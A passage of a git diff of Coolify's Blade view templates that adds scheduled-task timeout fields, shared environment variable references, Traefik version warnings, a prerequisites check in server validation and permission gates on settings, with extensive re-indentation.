+++ b/resources/views/livewire/project/shared/environment-variable/add.blade.php
@@ -1,8 +1,20 @@
 <form class="flex flex-col w-full gap-2 rounded-sm" wire:submit='submit'>
     <x-forms.input placeholder="NODE_ENV" id="key" label="Name" required />
-    <x-forms.textarea x-show="$wire.is_multiline === true" x-cloak id="value" label="Value" required />
-    <x-forms.input x-show="$wire.is_multiline === false" x-cloak placeholder="production" id="value"
-        x-bind:label="$wire.is_multiline === false && 'Value'" required />
+    @if ($is_multiline)
+        <x-forms.textarea id="value" label="Value" required />
+    @else
+        <x-forms.env-var-input placeholder="production" id="value" label="Value" required
+            :availableVars="$shared ? [] : $this->availableSharedVariables"
+            :projectUuid="data_get($parameters, 'project_uuid')"
+            :environmentUuid="data_get($parameters, 'environment_uuid')" />
+    @endif
+
+    @if (!$shared && !$is_multiline)
+        <div class="text-xs text-neutral-500 dark:text-neutral-400 -mt-1">
+            Tip: Type <span class="font-mono dark:text-warning text-coollabs">{{</span> to reference a shared environment
+            variable
+        </div>
+    @endif
 
     @if (!$shared)
         <x-forms.checkbox id="is_buildtime"
@@ -22,4 +34,4 @@
     <x-forms.button type="submit" @click="slideOverOpen=false">
         Save
     </x-forms.button>
-</form>
+</form>
\ No newline at end of file
diff --git a/resources/views/livewire/project/shared/scheduled-task/add.blade.php b/resources/views/livewire/project/shared/scheduled-task/add.blade.php
index 0c4b8a4d6..6fa04c28b 100644
--- a/resources/views/livewire/project/shared/scheduled-task/add.blade.php
+++ b/resources/views/livewire/project/shared/scheduled-task/add.blade.php
@@ -4,6 +4,9 @@
     <x-forms.input placeholder="0 0 * * * or daily"
         helper="You can use every_minute, hourly, daily, weekly, monthly, yearly or a cron expression." id="frequency"
         label="Frequency" />
+    <x-forms.input type="number" placeholder="300" id="timeout"
+        helper="Maximum execution time in seconds (60-3600). Default is 300 seconds (5 minutes)."
+        label="Timeout (seconds)" />
     @if ($type === 'application')
         @if ($containerNames->count() > 1)
             <x-forms.select id="container" label="Container name">
diff --git a/resources/views/livewire/project/shared/scheduled-task/show.blade.php b/resources/views/livewire/project/shared/scheduled-task/show.blade.php
index 1ede7775a..fa2ce0ad9 100644
--- a/resources/views/livewire/project/shared/scheduled-task/show.blade.php
+++ b/resources/views/livewire/project/shared/scheduled-task/show.blade.php
@@ -35,6 +35,8 @@
                 <x-forms.input placeholder="Name" id="name" label="Name" required />
                 <x-forms.input placeholder="php artisan schedule:run" id="command" label="Command" required />
                 <x-forms.input placeholder="0 0 * * * or daily" id="frequency" label="Frequency" required />
+                <x-forms.input type="number" placeholder="300" id="timeout"
+                    helper="Maximum execution time in seconds (60-3600)." label="Timeout (seconds)" required />
                 @if ($type === 'application')
                     <x-forms.input placeholder="php"
                         helper="You can leave this empty if your resource only has one container." id="container"
diff --git a/resources/views/livewire/server/navbar.blade.php b/resources/views/livewire/server/navbar.blade.php
index 74d228fa5..8525f5d60 100644
--- a/resources/views/livewire/server/navbar.blade.php
+++ b/resources/views/livewire/server/navbar.blade.php
@@ -1,5 +1,5 @@
 <div class="pb-6">
-    <x-slide-over @startproxy.window="slideOverOpen = true" fullScreen>
+    <x-slide-over @startproxy.window="slideOverOpen = true" fullScreen closeWithX>
         <x-slot:title>Proxy Startup Logs</x-slot:title>
         <x-slot:content>
             <livewire:activity-monitor header="Logs" fullHeight />
@@ -56,112 +56,106 @@ class="mx-1 dark:hover:fill-white fill-black dark:fill-warning">
     <div class="navbar-main">
         <nav
             class="flex items-center gap-6 overflow-x-scroll sm:overflow-x-hidden scrollbar min-h-10 whitespace-nowrap pt-2">
-            <a class="{{ request()->routeIs('server.show') ? 'dark:text-white' : '' }}"
-                href="{{ route('server.show', [
-                    'server_uuid' => data_get($server, 'uuid'),
-                ]) }}">
+            <a class="{{ request()->routeIs('server.show') ? 'dark:text-white' : '' }}" href="{{ route('server.show', [
+    'server_uuid' => data_get($server, 'uuid'),
+]) }}">
                 Configuration
             </a>
 
             @if (!$server->isSwarmWorker() && !$server->settings->is_build_server)
-                <a class="{{ request()->routeIs('server.proxy') ? 'dark:text-white' : '' }}"
-                    href="{{ route('server.proxy', [
-                        'server_uuid' => data_get($server, 'uuid'),
-                    ]) }}">
-                    Proxy
-                </a>
-            @endif
-            <a class="{{ request()->routeIs('server.resources') ? 'dark:text-white' : '' }}"
-                href="{{ route('server.resources', [
+                        <a class="{{ request()->routeIs('server.proxy') ? 'dark:text-white' : '' }} flex items-center gap-1" href="{{ route('server.proxy', [
                     'server_uuid' => data_get($server, 'uuid'),
                 ]) }}">
+                            Proxy
+                            @if ($this->hasTraefikOutdated)
+                                <svg class="w-4 h-4 text-warning" viewBox="0 0 256 256" xmlns="http://www.w3.org/2000/svg">
+                                    <path fill="currentColor"
+                                        d="M236.8 188.09L149.35 36.22a24.76 24.76 0 0 0-42.7 0L19.2 188.09a23.51 23.51 0 0 0 0 23.72A24.35 24.35 0 0 0 40.55 224h174.9a24.35 24.35 0 0 0 21.33-12.19a23.51 23.51 0 0 0 .02-23.72m-13.87 15.71a8.5 8.5 0 0 1-7.48 4.2H40.55a8.5 8.5 0 0 1-7.48-4.2a7.59 7.59 0 0 1 0-7.72l87.45-151.87a8.75 8.75 0 0 1 15 0l87.45 151.87a7.59 7.59 0 0 1-.04 7.72M120 144v-40a8 8 0 0 1 16 0v40a8 8 0 0 1-16 0m20 36a12 12 0 1 1-12-12a12 12 0 0 1 12 12" />
+                                </svg>
+                            @endif
+                        </a>
+            @endif
+            <a class="{{ request()->routeIs('server.resources') ? 'dark:text-white' : '' }}" href="{{ route('server.resources', [
+    'server_uuid' => data_get($server, 'uuid'),
+]) }}">
                 Resources
             </a>
             @can('canAccessTerminal')
-                <a class="{{ request()->routeIs('server.command') ? 'dark:text-white' : '' }}"
-                    href="{{ route('server.command', [
-                        'server_uuid' => data_get($server, 'uuid'),
-                    ]) }}">
-                    Terminal
-                </a>
+                        <a class="{{ request()->routeIs('server.command') ? 'dark:text-white' : '' }}" href="{{ route('server.command', [
+                    'server_uuid' => data_get($server, 'uuid'),
+                ]) }}">
+                            Terminal
+                        </a>
             @endcan
             @can('update', $server)
-                <a class="{{ request()->routeIs('server.security.patches') ? 'dark:text-white' : '' }}"
-                    href="{{ route('server.security.patches', [
-                        'server_uuid' => data_get($server, 'uuid'),
-                    ]) }}">
-                    Security
-                </a>
+                        <a class="{{ request()->routeIs('server.security.patches') ? 'dark:text-white' : '' }}" href="{{ route('server.security.patches', [
+                    'server_uuid' => data_get($server, 'uuid'),
+                ]) }}">
+                            Security
+                        </a>
             @endcan
         </nav>
         <div class="order-first sm:order-last">
             <div>
                 @if ($server->proxySet())
-                    <x-slide-over fullScreen @startproxy.window="slideOverOpen = true">
-                        <x-slot:title>Proxy Status</x-slot:title>
-                        <x-slot:content>
-                            <livewire:activity-monitor header="Logs" />
-                        </x-slot:content>
-                    </x-slide-over>
                     @if ($proxyStatus === 'running')
-                        <div class="flex gap-2">
-                            <div class="mt-1" wire:loading wire:target="loadProxyConfiguration">
-                                <x-loading text="Checking Traefik dashboard" />
-                            </div>
-                            @if ($traefikDashboardAvailable)
-                                <button>
-                                    <a target="_blank" href="http://{{ $serverIp }}:8080">
-                                        Traefik Dashboard
-                                        <x-external-link />
-                                    </a>
-                                </button>
-                            @endif
-                            <x-modal-confirmation title="Confirm Proxy Restart?" buttonTitle="Restart Proxy"
-                                submitAction="restart" :actions="[
-                                    'This proxy will be stopped and started again.',
-                                    'All resources hosted on coolify will be unavailable during the restart.',
-                                ]" :confirmWithText="false" :confirmWithPassword="false"
-                                step2ButtonText="Restart Proxy" :dispatchEvent="true" dispatchEventType="restartEvent">
-                                <x-slot:button-title>
-                                    <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
-                                        xmlns="http://www.w3.org/2000/svg">
-                                        <g fill="none" stroke="currentColor" stroke-linecap="round"
-                                            stroke-linejoin="round" stroke-width="2">
+                            <div class="flex gap-2">
+                                <div class="mt-1" wire:loading wire:target="loadProxyConfiguration">
+                                    <x-loading text="Checking Traefik dashboard" />
+                                </div>
+                                @if ($traefikDashboardAvailable)
+                                    <button>
+                                        <a target="_blank" href="http://{{ $serverIp }}:8080">
+                                            Traefik Dashboard
+                                            <x-external-link />
+                                        </a>
+                                    </button>
+                                @endif
+                                <x-modal-confirmation title="Confirm Proxy Restart?" buttonTitle="Restart Proxy"
+                                    submitAction="restart" :actions="[
+                            'This proxy will be stopped and started again.',
+                            'All resources hosted on coolify will be unavailable during the restart.',
+                        ]" :confirmWithText="false" :confirmWithPassword="false" step2ButtonText="Restart Proxy"
+                                    :dispatchEvent="true" dispatchEventType="restartEvent">
+                                    <x-slot:button-title>
+                                        <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
+                                            xmlns="http://www.w3.org/2000/svg">
+                                            <g fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"
+                                                stroke-width="2">
+                                                <path d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
+                                                <path d="M20 4v5h-5" />
+                                            </g>
+                                        </svg>
+                                        Restart Proxy
+                                    </x-slot:button-title>
+                                </x-modal-confirmation>
+                                <x-modal-confirmation title="Confirm Proxy Stopping?" buttonTitle="Stop Proxy"
+                                    submitAction="stop(true)" :actions="[
+                            'The coolify proxy will be stopped.',
+                            'All resources hosted on coolify will be unavailable.',
+                        ]" :confirmWithText="false"
+                                    :confirmWithPassword="false" step2ButtonText="Stop Proxy" :dispatchEvent="true"
+                                    dispatchEventType="stopEvent">
+                                    <x-slot:button-title>
+                                        <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
+                                            stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
+                                            stroke-linejoin="round">
+                                            <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
+                                            <path d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                            </path>
                                             <path
-                                                d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
-                                            <path d="M20 4v5h-5" />
-                                        </g>
-                                    </svg>
-                                    Restart Proxy
-                                </x-slot:button-title>
-                            </x-modal-confirmation>
-                            <x-modal-confirmation title="Confirm Proxy Stopping?" buttonTitle="Stop Proxy"
-                                submitAction="stop(true)" :actions="[
-                                    'The coolify proxy will be stopped.',
-                                    'All resources hosted on coolify will be unavailable.',
-                                ]" :confirmWithText="false" :confirmWithPassword="false"
-                                step2ButtonText="Stop Proxy" :dispatchEvent="true" dispatchEventType="stopEvent">
-                                <x-slot:button-title>
-                                    <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error"
-                                        viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" fill="none"
-                                        stroke-linecap="round" stroke-linejoin="round">
-                                        <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
-                                        <path
-                                            d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                        </path>
-                                        <path
-                                            d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                        </path>
-                                    </svg>
-                                    Stop Proxy
-                                </x-slot:button-title>
-                            </x-modal-confirmation>
-                        </div>
+                                                d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                            </path>
+                                        </svg>
+                                        Stop Proxy
+                                    </x-slot:button-title>
+                                </x-modal-confirmation>
+                            </div>
                     @else
                         <button @click="$wire.dispatch('checkProxyEvent')" class="gap-2 button">
-                            <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-warning"
-                                viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" fill="none"
-                                stroke-linecap="round" stroke-linejoin="round">
+                            <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
+                                stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round"
+                                stroke-linejoin="round">
                                 <path stroke="none" d="M0 0h24v24H0z" fill="none" />
                                 <path d="M7 4v16l13 -8z" />
                             </svg>
@@ -170,29 +164,29 @@ class="flex items-center gap-6 overflow-x-scroll sm:overflow-x-hidden scrollbar
                     @endif
                 @endif
                 @script
-                    <script>
-                        $wire.$on('checkProxyEvent', () => {
-                            try {
-                                $wire.$call('checkProxy');
-                            } catch (error) {
-                                console.error(error);
-                                $wire.$dispatch('error', 'Failed to check proxy status. Please try again.');
-                            }
-                        });
-                        $wire.$on('restartEvent', () => {
-                            $wire.$dispatch('info', 'Initiating proxy restart.');
-                            $wire.$call('restart');
-                        });
-                        $wire.$on('startProxy', () => {
-                            window.dispatchEvent(new CustomEvent('startproxy'))
-                            $wire.$call('startProxy');
-                        });
-                        $wire.$on('stopEvent', () => {
-                            $wire.$call('stop');
-                        });
-                    </script>
+                <script>
+                    $wire.$on('checkProxyEvent', () => {
+                        try {
+                            $wire.$call('checkProxy');
+                        } catch (error) {
+                            console.error(error);
+                            $wire.$dispatch('error', 'Failed to check proxy status. Please try again.');
+                        }
+                    });
+                    $wire.$on('restartEvent', () => {
+                        window.dispatchEvent(new CustomEvent('startproxy'))
+                        $wire.$call('restart');
+                    });
+                    $wire.$on('startProxy', () => {
+                        window.dispatchEvent(new CustomEvent('startproxy'))
+                        $wire.$call('startProxy');
+                    });
+                    $wire.$on('stopEvent', () => {
+                        $wire.$call('stop');
+                    });
+                </script>
                 @endscript
             </div>
         </div>
     </div>
-</div>
+</div>
\ No newline at end of file
diff --git a/resources/views/livewire/server/proxy.blade.php b/resources/views/livewire/server/proxy.blade.php
index 46859095f..77e856864 100644
--- a/resources/views/livewire/server/proxy.blade.php
+++ b/resources/views/livewire/server/proxy.blade.php
@@ -21,7 +21,15 @@
                         @endif
                         <x-forms.button canGate="update" :canResource="$server" type="submit">Save</x-forms.button>
                     </div>
-                    <div class="subtitle">Configure your proxy settings and advanced options.</div>
+                    <div class="pb-4">Configure your proxy settings and advanced options.</div>
+                    @if (
+                        $server->proxy->last_applied_settings &&
+                            $server->proxy->last_saved_settings !== $server->proxy->last_applied_settings)
+                        <x-callout type="warning" title="Configuration Out of Sync" class="my-4">
+                            The saved proxy configuration differs from the currently running configuration. Restart the
+                            proxy to apply your changes.
+                        </x-callout>
+                    @endif
                     <h3>Advanced</h3>
                     <div class="pb-6 w-96">
                         <x-forms.checkbox canGate="update" :canResource="$server"
@@ -43,32 +51,89 @@
                                 : 'Caddy (Coolify Proxy)';
                     @endphp
                     @if ($server->proxyType() === ProxyTypes::TRAEFIK->value || $server->proxyType() === 'CADDY')
-                        <div class="flex items-center gap-2">
-                            <h3>{{ $proxyTitle }}</h3>
-                            @if ($proxySettings)
+                        <div @if($server->proxyType() === ProxyTypes::TRAEFIK->value) x-data="{ traefikWarningsDismissed: localStorage.getItem('callout-dismissed-traefik-warnings-{{ $server->id }}') === 'true' }" @endif>
+                            <div class="flex items-center gap-2">
+                                <h3>{{ $proxyTitle }}</h3>
                                 @can('update', $server)
-                                    <x-modal-confirmation title="Reset Proxy Configuration?"
-                                        buttonTitle="Reset Configuration" submitAction="resetProxyConfiguration"
-                                        :actions="[
-                                            'Reset proxy configuration to default settings',
-                                            'All custom configurations will be lost',
-                                            'Custom ports and entrypoints will be removed',
-                                        ]" confirmationText="{{ $server->name }}"
-                                        confirmationLabel="Please confirm by entering the server name below"
-                                        shortConfirmationLabel="Server Name" step2ButtonText="Reset Configuration"
-                                        :confirmWithPassword="false" :confirmWithText="true">
-                                    </x-modal-confirmation>
+                                    <div wire:loading wire:target="loadProxyConfiguration">
+                                        <x-forms.button disabled>Reset Configuration</x-forms.button>
+                                    </div>
+                                    <div wire:loading.remove wire:target="loadProxyConfiguration">
+                                        @if ($proxySettings)
+                                            <x-modal-confirmation title="Reset Proxy Configuration?"
+                                                buttonTitle="Reset Configuration" submitAction="resetProxyConfiguration"
+                                                :actions="[
+                                                    'Reset proxy configuration to default settings',
+                                                    'All custom configurations will be lost',
+                                                    'Custom ports and entrypoints will be removed',
+                                                ]" confirmationText="{{ $server->name }}"
+                                                confirmationLabel="Please confirm by entering the server name below"
+                                                shortConfirmationLabel="Server Name" step2ButtonText="Reset Configuration"
+                                                :confirmWithPassword="false" :confirmWithText="true">
+                                            </x-modal-confirmation>
+                                        @endif
+                                    </div>
                                 @endcan
+                                @if ($server->proxyType() === ProxyTypes::TRAEFIK->value)
+                                    <button type="button" x-show="traefikWarningsDismissed"
+                                            @click="traefikWarningsDismissed = false; localStorage.removeItem('callout-dismissed-traefik-warnings-{{ $server->id }}')"
+                                            class="p-1.5 rounded hover:bg-yellow-100 dark:hover:bg-yellow-900/30 transition-colors"
+                                            title="Show Traefik warnings">
+                                        <svg class="w-4 h-4 text-yellow-600 dark:text-yellow-400" viewBox="0 0 256 256" xmlns="http://www.w3.org/2000/svg">
+                                            <path fill="currentColor" d="M240.26 186.1L152.81 34.23a28.74 28.74 0 0 0-49.62 0L15.74 186.1a27.45 27.45 0 0 0 0 27.71A28.31 28.31 0 0 0 40.55 228h174.9a28.31 28.31 0 0 0 24.79-14.19a27.45 27.45 0 0 0 .02-27.71m-20.8 15.7a4.46 4.46 0 0 1-4 2.2H40.55a4.46 4.46 0 0 1-4-2.2a3.56 3.56 0 0 1 0-3.73L124 46.2a4.77 4.77 0 0 1 8 0l87.44 151.87a3.56 3.56 0 0 1 .02 3.73M116 136v-32a12 12 0 0 1 24 0v32a12 12 0 0 1-24 0m28 40a16 16 0 1 1-16-16a16 16 0 0 1 16 16"></path>
+                                        </svg>
+                                    </button>
+                                @endif
+                            </div>
+                            @if ($server->proxyType() === ProxyTypes::TRAEFIK->value)
+                                <div x-show="!traefikWarningsDismissed"
+                                     x-transition:enter="transition ease-out duration-200"
+                                     x-transition:enter-start="opacity-0 -translate-y-2"
+                                     x-transition:enter-end="opacity-100 translate-y-0"
+                                     x-transition:leave="transition ease-in duration-150"
+                                     x-transition:leave-start="opacity-100 translate-y-0"
+                                     x-transition:leave-end="opacity-0 -translate-y-2">
+                                    @if ($server->detected_traefik_version === 'latest')
+                                        <x-callout dismissible onDismiss="traefikWarningsDismissed = true; localStorage.setItem('callout-dismissed-traefik-warnings-{{ $server->id }}', 'true')" type="warning" title="Using 'latest' Traefik Tag" class="my-4">
+                                            Your proxy container is running the <span class="font-mono">latest</span> tag. While
+                                            this ensures you always have the newest version, it may introduce unexpected breaking
+                                            changes.
+                                            <br><br>
+                                            <strong>Recommendation:</strong> Pin to a specific version (e.g., <span
+                                                class="font-mono">traefik:{{ $this->latestTraefikVersion }}</span>) to ensure
+                                            stability and predictable updates.
+                                        </x-callout>
+                                    @elseif($this->isTraefikOutdated)
+                                        <x-callout dismissible onDismiss="traefikWarningsDismissed = true; localStorage.setItem('callout-dismissed-traefik-warnings-{{ $server->id }}', 'true')" type="warning" title="Traefik Patch Update Available" class="my-4">
+                                            Your Traefik proxy container is running version <span
+                                                class="font-mono">v{{ $server->detected_traefik_version }}</span>, but version <span
+                                                class="font-mono">{{ $this->latestTraefikVersion }}</span> is available.
+                                            <br><br>
+                                            <strong>Recommendation:</strong> Update to the latest patch version for security fixes
+                                            and
+                                            bug fixes. Please test in a non-production environment first.
+                                        </x-callout>
+                                    @endif
+                                    @if ($this->newerTraefikBranchAvailable)
+                                        <x-callout dismissible onDismiss="traefikWarningsDismissed = true; localStorage.setItem('callout-dismissed-traefik-warnings-{{ $server->id }}', 'true')" type="info" title="New Minor Traefik Version Available" class="my-4">
+                                            A new minor version of Traefik is available: <span
+                                                class="font-mono">{{ $this->newerTraefikBranchAvailable }}</span>
+                                            <br><br>
+                                            You are currently running <span class="font-mono">v{{ $server->detected_traefik_version }}</span>.
+                                            Upgrading to <span class="font-mono">{{ $this->newerTraefikBranchAvailable }}</span> will give you access to new features and improvements.
+                                            <br><br>
+                                            <strong>Important:</strong> Before upgrading to a new minor version, please read
+                                            the <a href="https://github.com/traefik/traefik/releases" target="_blank"
+                                                class="underline text-white">Traefik changelog</a> to understand breaking changes
+                                            and new features.
+                                            <br><br>
+                                            <strong>Recommendation:</strong> Test the upgrade in a non-production environment first.
+                                        </x-callout>
+                                    @endif
+                                </div>
                             @endif
                         </div>
                     @endif
-                    @if (
-                        $server->proxy->last_applied_settings &&
-                            $server->proxy->last_saved_settings !== $server->proxy->last_applied_settings)
-                        <div class="text-red-500 ">Configuration out of sync. Restart the proxy to apply the new
-                            configurations.
-                        </div>
-                    @endif
                     <div wire:loading wire:target="loadProxyConfiguration" class="pt-4">
                         <x-loading text="Loading proxy configuration..." />
                     </div>
diff --git a/resources/views/livewire/server/validate-and-install.blade.php b/resources/views/livewire/server/validate-and-install.blade.php
index 572da85e8..85ea3105e 100644
--- a/resources/views/livewire/server/validate-and-install.blade.php
+++ b/resources/views/livewire/server/validate-and-install.blade.php
@@ -52,6 +52,30 @@
             @endif
         @endif
         @if ($uptime && $supported_os_type)
+            @if ($prerequisites_installed)
+                <div class="flex w-64 gap-2">Prerequisites are installed: <svg class="w-5 h-5 text-success"
+                        viewBox="0 0 256 256" xmlns="http://www.w3.org/2000/svg">
+                        <g fill="currentColor">
+                            <path
+                                d="m237.66 85.26l-128.4 128.4a8 8 0 0 1-11.32 0l-71.6-72a8 8 0 0 1 0-11.31l24-24a8 8 0 0 1 11.32 0l36.68 35.32a8 8 0 0 0 11.32 0l92.68-91.32a8 8 0 0 1 11.32 0l24 23.6a8 8 0 0 1 0 11.31"
+                                opacity=".2" />
+                            <path
+                                d="m243.28 68.24l-24-23.56a16 16 0 0 0-22.58 0L104 136l-.11-.11l-36.64-35.27a16 16 0 0 0-22.57.06l-24 24a16 16 0 0 0 0 22.61l71.62 72a16 16 0 0 0 22.63 0l128.4-128.38a16 16 0 0 0-.05-22.67M103.62 208L32 136l24-24l.11.11l36.64 35.27a16 16 0 0 0 22.52 0L208.06 56L232 79.6Z" />
+                        </g>
+                    </svg></div>
+            @else
+                @if ($error)
+                    <div class="flex w-64 gap-2">Prerequisites are installed: <svg class="w-5 h-5 text-error"
+                            viewBox="0 0 256 256" xmlns="http://www.w3.org/2000/svg">
+                            <path fill="currentColor"
+                                d="M208.49 191.51a12 12 0 0 1-17 17L128 145l-63.51 63.49a12 12 0 0 1-17-17L111 128L47.51 64.49a12 12 0 0 1 17-17L128 111l63.51-63.52a12 12 0 0 1 17 17L145 128Z" />
+                        </svg></div>
+                @else
+                    <div class="w-64"><x-loading text="Prerequisites are installed:" /></div>
+                @endif
+            @endif
+        @endif
+        @if ($uptime && $supported_os_type && $prerequisites_installed)
             @if ($docker_installed)
                 <div class="flex w-64 gap-2">Docker is installed: <svg class="w-5 h-5 text-success"
                         viewBox="0 0 256 256" xmlns="http://www.w3.org/2000/svg">
@@ -120,7 +144,7 @@
             @endif
 
         @endif
-        <livewire:activity-monitor header="Docker Installation Logs" :showWaiting="false" />
+        <livewire:activity-monitor header="{{ $installationStep }} Installation Logs" :showWaiting="false" />
         @isset($error)
             <pre class="font-bold whitespace-pre-line text-error">{!! $error !!}</pre>
             <x-forms.button canGate="update" :canResource="$server" wire:click="retry" class="mt-4">
diff --git a/resources/views/livewire/settings/index.blade.php b/resources/views/livewire/settings/index.blade.php
index 61a73d25c..deba90291 100644
--- a/resources/views/livewire/settings/index.blade.php
+++ b/resources/views/livewire/settings/index.blade.php
@@ -1,28 +1,29 @@
 <div>
     <x-slot:title>
         Settings | Coolify
-    </x-slot>
-    <x-settings.navbar />
-    <div x-data="{ activeTab: window.location.hash ? window.location.hash.substring(1) : 'general' }" class="flex flex-col h-full gap-8 sm:flex-row">
-        <x-settings.sidebar activeMenu="general" />
-        <form wire:submit='submit' class="flex flex-col">
-            <div class="flex items-center gap-2">
-                <h2>General</h2>
-                <x-forms.button type="submit">
-                    Save
-                </x-forms.button>
-            </div>
-            <div class="pb-4">General configuration for your Coolify instance.</div>
+        </x-slot>
+        <x-settings.navbar />
+        <div x-data="{ activeTab: window.location.hash ? window.location.hash.substring(1) : 'general' }"
+            class="flex flex-col h-full gap-8 sm:flex-row">
+            <x-settings.sidebar activeMenu="general" />
+            <form wire:submit='submit' class="flex flex-col">
+                <div class="flex items-center gap-2">
+                    <h2>General</h2>
+                    <x-forms.button canGate="update" :canResource="$settings" type="submit">
+                        Save
+                    </x-forms.button>
+                </div>
+                <div class="pb-4">General configuration for your Coolify instance.</div>
 
-            <div class="flex flex-col gap-2">
-                <div class="flex flex-wrap items-end gap-2">
-                    <div class="flex gap-2 md:flex-row flex-col w-full">
-                        <x-forms.input id="fqdn" label="Domain"
-                            helper="Enter the full domain name (FQDN) of the instance, including 'https://' if you want to secure the dashboard with HTTPS. Setting this will make the dashboard accessible via this domain, secured by HTTPS, instead of just the IP address."
-                            placeholder="https://coolify.yourdomain.com" />
-                        <x-forms.input id="instance_name" label="Name" placeholder="Coolify"
-                            helper="Custom name for your Coolify instance, shown in the URL." />
-                        <div class="w-full" x-data="{
+                <div class="flex flex-col gap-2">
+                    <div class="flex flex-wrap items-end gap-2">
+                        <div class="flex gap-2 md:flex-row flex-col w-full">
+                            <x-forms.input canGate="update" :canResource="$settings" id="fqdn" label="Domain"
+                                helper="Enter the full domain name (FQDN) of the instance, including 'https://' if you want to secure the dashboard with HTTPS. Setting this will make the dashboard accessible via this domain, secured by HTTPS, instead of just the IP address."
+                                placeholder="https://coolify.yourdomain.com" />
+                            <x-forms.input canGate="update" :canResource="$settings" id="instance_name" label="Name" placeholder="Coolify"
+                                helper="Custom name for your Coolify instance, shown in the URL." />
+                            <div class="w-full" x-data="{
                             open: false,
                             search: '{{ $settings->instance_timezone ?: '' }}',
                             timezones: @js($this->timezones),
@@ -35,63 +36,73 @@
                                 })
                             }
                         }">
-                            <div class="flex items-center mb-1">
-                                <label for="instance_timezone">Instance
-                                    Timezone</label>
-                                <x-helper class="ml-2"
-                                    helper="Timezone for the Coolify instance. This is used for the update check and automatic update frequency." />
-                            </div>
-                            <div class="relative">
-                                <div class="inline-flex relative items-center w-full">
-                                    <input autocomplete="off"
-                                        wire:dirty.class.remove='dark:focus:ring-coolgray-300 dark:ring-coolgray-300'
-                                        wire:dirty.class="dark:focus:ring-warning dark:ring-warning" x-model="search"
-                                        @focus="open = true" @click.away="open = false" @input="open = true"
-                                        class="w-full input" :placeholder="placeholder" wire:model="instance_timezone">
-                                    <svg class="absolute right-0 mr-2 w-4 h-4" xmlns="http://www.w3.org/2000/svg"
-                                        fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"
-                                        @click="open = true">
-                                        <path stroke-linecap="round" stroke-linejoin="round"
-                                            d="M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9" />
-                                    </svg>
+                                <div class="flex items-center mb-1">
+                                    <label for="instance_timezone">Instance
+                                        Timezone</label>
+                                    <x-helper class="ml-2"
+                                        helper="Timezone for the Coolify instance. This is used for the update check and automatic update frequency." />
                                 </div>
-                                <div x-show="open"
-                                    class="overflow-auto overflow-x-hidden absolute z-50 mt-1 w-full max-h-60 bg-white rounded-md border shadow-lg dark:bg-coolgray-100 dark:border-coolgray-200 scrollbar">
-                                    <template
-                                        x-for="timezone in timezones.filter(tz => tz.toLowerCase().includes(search.toLowerCase()))"
-                                        :key="timezone">
-                                        <div @click="search = timezone; open = false; $wire.set('instance_timezone', timezone); $wire.submit()"
-                                            class="px-4 py-2 text-gray-800 cursor-pointer hover:bg-gray-100 dark:hover:bg-coolgray-300 dark:text-gray-200"
-                                            x-text="timezone"></div>
-                                    </template>
+                                <div class="relative">
+                                    <div class="inline-flex relative items-center w-full">
+                                        <input autocomplete="off"
+                                            wire:dirty.class.remove='dark:focus:ring-coolgray-300 dark:ring-coolgray-300'
+                                            wire:dirty.class="dark:focus:ring-warning dark:ring-warning"
+                                            x-model="search" @focus="open = true" @click.away="open = false"
+                                            @input="open = true" class="w-full input" :placeholder="placeholder"
+                                            wire:model="instance_timezone">
+                                        <svg class="absolute right-0 mr-2 w-4 h-4" xmlns="http://www.w3.org/2000/svg"
+                                            fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"
+                                            @click="open = true">
+                                            <path stroke-linecap="round" stroke-linejoin="round"
+                                                d="M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9" />
+                                        </svg>
+                                    </div>
+                                    <div x-show="open"
+                                        class="overflow-auto overflow-x-hidden absolute z-50 mt-1 w-full max-h-60 bg-white rounded-md border shadow-lg dark:bg-coolgray-100 dark:border-coolgray-200 scrollbar">
+                                        <template
+                                            x-for="timezone in timezones.filter(tz => tz.toLowerCase().includes(search.toLowerCase()))"
+                                            :key="timezone">
+                                            <div @click="search = timezone; open = false; $wire.set('instance_timezone', timezone); $wire.submit()"
+                                                class="px-4 py-2 text-gray-800 cursor-pointer hover:bg-gray-100 dark:hover:bg-coolgray-300 dark:text-gray-200"
+                                                x-text="timezone"></div>
+                                        </template>
+                                    </div>
                                 </div>
                             </div>
                         </div>
-                    </div>
-                    <div class="flex gap-2 md:flex-row flex-col w-full">
-                        <x-forms.input id="public_ipv4" type="password" label="Instance's Public IPv4"
-                            helper="Enter the IPv4 address of the instance.<br><br>It is useful if you have several IPv4 addresses and Coolify could not detect the correct one."
-                            placeholder="1.2.3.4" autocomplete="new-password" />
-                        <x-forms.input id="public_ipv6" type="password" label="Instance's Public IPv6"
